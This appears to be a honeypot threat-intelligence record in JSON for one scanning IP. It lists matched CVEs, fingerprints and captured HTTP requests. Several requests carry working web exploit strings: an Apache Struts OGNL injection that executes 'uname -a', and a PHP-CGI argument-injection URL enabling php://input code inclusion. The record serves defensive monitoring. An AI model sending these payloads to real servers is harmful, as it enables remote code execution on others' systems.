{"ip":"130.12.180.32","data_as_of":"2026-10-20T14:25:18+00:00","observed":true,"total_events":322,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 exploit-path hits","confidence":"high","network_type":null,"why":["5 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 114,632 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"114,632 bytes sent","bytes_sent":114632,"session_seconds":0,"persistent":false},"basis":"first_contact"},"first_seen":"2026-04-23T11:11:04","last_seen":"2026-10-19T09:28:34","events_24h":0,"events_7d":145,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":202412,"org":"Omegatech LTD"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","kev_date_added":"2024-06-12"},{"cve_id":"CVE-2025-0282","title":"Ivanti Connect Secure - Stack-based Buffer Overflow","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/dana-na/auth/url_default/welcome.cgi","kev_date_added":"2025-01-08"},{"cve_id":"CVE-2009-1151","title":"PhpMyAdmin Scripts - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/scripts/setup.php","kev_date_added":"2022-03-25"},{"cve_id":"CVE-2016-3081","title":"Apache S2-032 Struts - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletAc","kev_date_added":"2026-10-08"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":97},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":70},{"port":9443,"proto":"tcp","label":"","count":18},{"port":999,"proto":"tcp","label":"","count":17},{"port":8082,"proto":"tcp","label":"","count":17},{"port":33333,"proto":"tcp","label":"","count":14},{"port":11443,"proto":"tcp","label":"","count":14},{"port":20443,"proto":"tcp","label":"","count":10},{"port":3629,"proto":"tcp","label":"","count":9},{"port":4145,"proto":"tcp","label":"","count":9},{"port":1080,"proto":"tcp","label":"SOCKS","count":9},{"port":7777,"proto":"tcp","label":"Oracle","count":9},{"port":443,"proto":"tcp","label":"HTTPS","count":8},{"port":1111,"proto":"tcp","label":"","count":6},{"port":3000,"proto":"tcp","label":"Web-alt","count":6}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_a089bac06eae","t13i131000_f57a46bbacb6_e5728521abd4"],"tls_client_hello":"160301010c0100010803039721ad6882d3f2b622227acf8018d44f9b4e852d792192eca8c62255adf8977020140b682de1078633620d7881890480e6a0687acd3d29681a0669a5423528303a001ac02bc02fc02cc030cca9cca8c009c013c00ac014130113021303010000a5000b00020100ff010001000017000000120000000500050100000000000a000a0008001d001700180019000d0020001e09040905090608040403080708050806040105010601050306030201020300320020001e090409050906080404030807080508060401050106010503060302010203002b00050403040303003300260024001d0020de18d800862cdbebeebc70e965d6fba93229f4d17e80650eac0c5b75","tls_ja3":["ad8e2ddea9ec0a77edc063c36fc6cecc"],"http_akin":["b11cun040_00040015_4c87b06e","b11cun040_00040013_608dab68","b11cuq060_00450812_0421ce22","b11cuq050_00050812_107c8b82"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i131000_f57a46bbacb6_a089bac06eae":7,"t13i131000_f57a46bbacb6_e5728521abd4":72,"b11cun040_00040015_4c87b06e":347,"b11cun040_00040013_608dab68":4340,"b11cuq050_00050812_107c8b82":149,"b11cuq060_00450812_0421ce22":2},"akin_families":{"b11cun040_00040015_4c87b06e":{"head":"b11cun040_00040015_4c87b06e","shapes":4,"ips":347},"b11cuq060_00450812_0421ce22":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":150},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":150}},"user_agents":["Go-http-client/1.1","Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19","Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15","Mozilla/5.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0"],"timeline":[{"date":"2026-08-27","count":9},{"date":"2026-10-11","count":137},{"date":"2026-10-12","count":2},{"date":"2026-10-13","count":23},{"date":"2026-10-14","count":82},{"date":"2026-10-15","count":31},{"date":"2026-10-16","count":8},{"date":"2026-10-17","count":4},{"date":"2026-10-19","count":2}],"recent_events":[{"timestamp":"2026-10-19T09:28:34","port":8081,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8081\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a383038310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"","session":"c1c4b145-e3f8-4f60-b62e-1440bb1a0c5b","seq":1,"duration_ms":100,"bytes_in":239,"bytes_out":78},{"timestamp":"2026-10-19T09:13:51","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:443\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"ad8e2ddea9ec0a77edc063c36fc6cecc","session":"c692f30a-7612-4ade-9b6d-d43f930ec4d4","seq":1,"duration_ms":101,"bytes_in":237,"bytes_out":78},{"timestamp":"2026-10-17T04:12:09","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=uname+-a","summary":"","payload_hex":"474554202f696e6465782e616374696f6e3f6d6574686f643a2532335f6d656d626572416363657373253364406f676e6c2e4f676e6c436f6e746578744044454641554c545f4d454d4245525f4143434553532c2532337265732533642534306f72672e6170616368652e737472757473322e536572766c6574416374696f6e436f6e74657874253430676574526573706f6e736528292c2532337265732e736574436861726163746572456e636f64696e6728253233706172616d65746572732e656e636f64696e6725354230253544292c253233772533642532337265732e67657457726974657228292c253233732533646e65772b6a6176612e7574696c2e5363616e6e657228406a6176612e6c616e672e52756e74696d654067657452756e74696d6528292e6578656328253233706172616d65746572732e636d6425354230253544292e676574496e70757453747265616d2829292e75736544656c696d6974657228253233706172616d65746572732e707025354230253544292c253233737472253364253233732e6861734e6578742829253366253233732e6e6578742829253361253233706172616d65746572732e707070253542302535442c253233772e7072696e7428253233737472292c253233772e636c6f736528292c313f25323378783a253233726571756573742e746f537472696e672670703d25354325354341267070703d25323026656e636f64696e673d5554462d3826636d643d756e616d652b2d6120485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"516cf87f-5193-423c-a385-e2a0f5d3be88","seq":1,"duration_ms":100,"bytes_in":662,"bytes_out":78},{"timestamp":"2026-10-17T04:11:52","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"","session":"0d93ab34-ab9f-467f-a091-c4645bad8a5c","seq":1,"duration_ms":101,"bytes_in":239,"bytes_out":78},{"timestamp":"2026-10-17T02:23:36","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=uname+-a","summary":"","payload_hex":"474554202f696e6465782e616374696f6e3f6d6574686f643a2532335f6d656d626572416363657373253364406f676e6c2e4f676e6c436f6e746578744044454641554c545f4d454d4245525f4143434553532c2532337265732533642534306f72672e6170616368652e737472757473322e536572766c6574416374696f6e436f6e74657874253430676574526573706f6e736528292c2532337265732e736574436861726163746572456e636f64696e6728253233706172616d65746572732e656e636f64696e6725354230253544292c253233772533642532337265732e67657457726974657228292c253233732533646e65772b6a6176612e7574696c2e5363616e6e657228406a6176612e6c616e672e52756e74696d654067657452756e74696d6528292e6578656328253233706172616d65746572732e636d6425354230253544292e676574496e70757453747265616d2829292e75736544656c696d6974657228253233706172616d65746572732e707025354230253544292c253233737472253364253233732e6861734e6578742829253366253233732e6e6578742829253361253233706172616d65746572732e707070253542302535442c253233772e7072696e7428253233737472292c253233772e636c6f736528292c313f25323378783a253233726571756573742e746f537472696e672670703d25354325354341267070703d25323026656e636f64696e673d5554462d3826636d643d756e616d652b2d6120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"e8363127-5cdb-4d76-8414-cf4febb56f1d","seq":1,"duration_ms":100,"bytes_in":660,"bytes_out":78},{"timestamp":"2026-10-17T02:23:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"","session":"72870c59-0a99-49a8-b889-8831bd05c26c","seq":1,"duration_ms":100,"bytes_in":237,"bytes_out":78},{"timestamp":"2026-10-16T17:44:15","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=uname+-a","summary":"","payload_hex":"474554202f696e6465782e616374696f6e3f6d6574686f643a2532335f6d656d626572416363657373253364406f676e6c2e4f676e6c436f6e746578744044454641554c545f4d454d4245525f4143434553532c2532337265732533642534306f72672e6170616368652e737472757473322e536572766c6574416374696f6e436f6e74657874253430676574526573706f6e736528292c2532337265732e736574436861726163746572456e636f64696e6728253233706172616d65746572732e656e636f64696e6725354230253544292c253233772533642532337265732e67657457726974657228292c253233732533646e65772b6a6176612e7574696c2e5363616e6e657228406a6176612e6c616e672e52756e74696d654067657452756e74696d6528292e6578656328253233706172616d65746572732e636d6425354230253544292e676574496e70757453747265616d2829292e75736544656c696d6974657228253233706172616d65746572732e707025354230253544292c253233737472253364253233732e6861734e6578742829253366253233732e6e6578742829253361253233706172616d65746572732e707070253542302535442c253233772e7072696e7428253233737472292c253233772e636c6f736528292c313f25323378783a253233726571756573742e746f537472696e672670703d25354325354341267070703d25323026656e636f64696e673d5554462d3826636d643d756e616d652b2d6120485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"b7ac77a4-f1c7-4e40-a898-25678651c3e1","seq":1,"duration_ms":100,"bytes_in":661,"bytes_out":78},{"timestamp":"2026-10-16T17:43:53","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"","session":"116c4961-7817-4140-af0e-b634c6655c12","seq":1,"duration_ms":100,"bytes_in":238,"bytes_out":78},{"timestamp":"2026-10-16T15:11:32","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=uname+-a","summary":"","payload_hex":"474554202f696e6465782e616374696f6e3f6d6574686f643a2532335f6d656d626572416363657373253364406f676e6c2e4f676e6c436f6e746578744044454641554c545f4d454d4245525f4143434553532c2532337265732533642534306f72672e6170616368652e737472757473322e536572766c6574416374696f6e436f6e74657874253430676574526573706f6e736528292c2532337265732e736574436861726163746572456e636f64696e6728253233706172616d65746572732e656e636f64696e6725354230253544292c253233772533642532337265732e67657457726974657228292c253233732533646e65772b6a6176612e7574696c2e5363616e6e657228406a6176612e6c616e672e52756e74696d654067657452756e74696d6528292e6578656328253233706172616d65746572732e636d6425354230253544292e676574496e70757453747265616d2829292e75736544656c696d6974657228253233706172616d65746572732e707025354230253544292c253233737472253364253233732e6861734e6578742829253366253233732e6e6578742829253361253233706172616d65746572732e707070253542302535442c253233772e7072696e7428253233737472292c253233772e636c6f736528292c313f25323378783a253233726571756573742e746f537472696e672670703d25354325354341267070703d25323026656e636f64696e673d5554462d3826636d643d756e616d652b2d6120485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"95b82e84-1f5f-43aa-b704-4d65983685d0","seq":1,"duration_ms":100,"bytes_in":662,"bytes_out":78},{"timestamp":"2026-10-16T15:11:13","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/phpmyadmin/scripts/setup.php","summary":"","payload_hex":"474554202f7068706d7961646d696e2f736372697074732f73657475702e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","ja3":"","session":"f0af8097-edd6-46ff-a3a6-075d1eda066a","seq":1,"duration_ms":100,"bytes_in":239,"bytes_out":78}],"http_methods":[{"method":"GET","count":118},{"method":"POST","count":67}],"distinct_ports_total":18,"top_paths":[{"path":"/phpmyadmin/scripts/setup.php","count":46,"ports":4},{"path":"/index.php","count":31,"ports":2},{"path":"/scripts/setup.php","count":31,"ports":2},{"path":"/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":29,"ports":2},{"path":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=uname+-a","count":8,"ports":2},{"path":"/api/sonicos/is-sslvpn-enabled","count":8,"ports":2},{"path":"/dana-na/auth/url_default/welcome.cgi","count":4,"ports":2},{"path":"/","count":3,"ports":1},{"path":"/v1/models","count":3,"ports":1},{"path":"/api/version","count":3,"ports":1},{"path":"/my.policy","count":3,"ports":2},{"path":"/vpn/index.html","count":3,"ports":2},{"path":"/apply.cgi","count":3,"ports":2},{"path":"/logon/LogonPoint/tmindex.html","count":3,"ports":2},{"path":"/global-protect/login.esp","count":3,"ports":2}],"distinct_paths_total":19,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"<HONEYPOT>:8081","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"],"kev_date_added":"2024-06-12"},{"tag_id":"CVE-2025-0282","tag_type":"cve","title":"Ivanti Connect Secure - Stack-based Buffer Overflow","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/dana-na/auth/url_default/welcome.cgi","reference_urls":["https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283","https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/","https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day","https://nvd.nist.gov/vuln/detail/CVE-2025-0282"],"kev_date_added":"2025-01-08"},{"tag_id":"CVE-2009-1151","tag_type":"cve","title":"PhpMyAdmin Scripts - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/scripts/setup.php","reference_urls":["https://www.phpmyadmin.net/security/PMASA-2009-3/","https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433","http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301","http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php","https://nvd.nist.gov/vuln/detail/CVE-2009-1151"],"kev_date_added":"2022-03-25"},{"tag_id":"CVE-2016-3081","tag_type":"cve","title":"Apache S2-032 Struts - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletAc","reference_urls":["https://cwiki.apache.org/confluence/display/WW/S2-032","https://struts.apache.org/docs/s2-032.html","https://nvd.nist.gov/vuln/detail/CVE-2016-3081","http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665","http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en"],"kev_date_added":"2026-10-08"}]}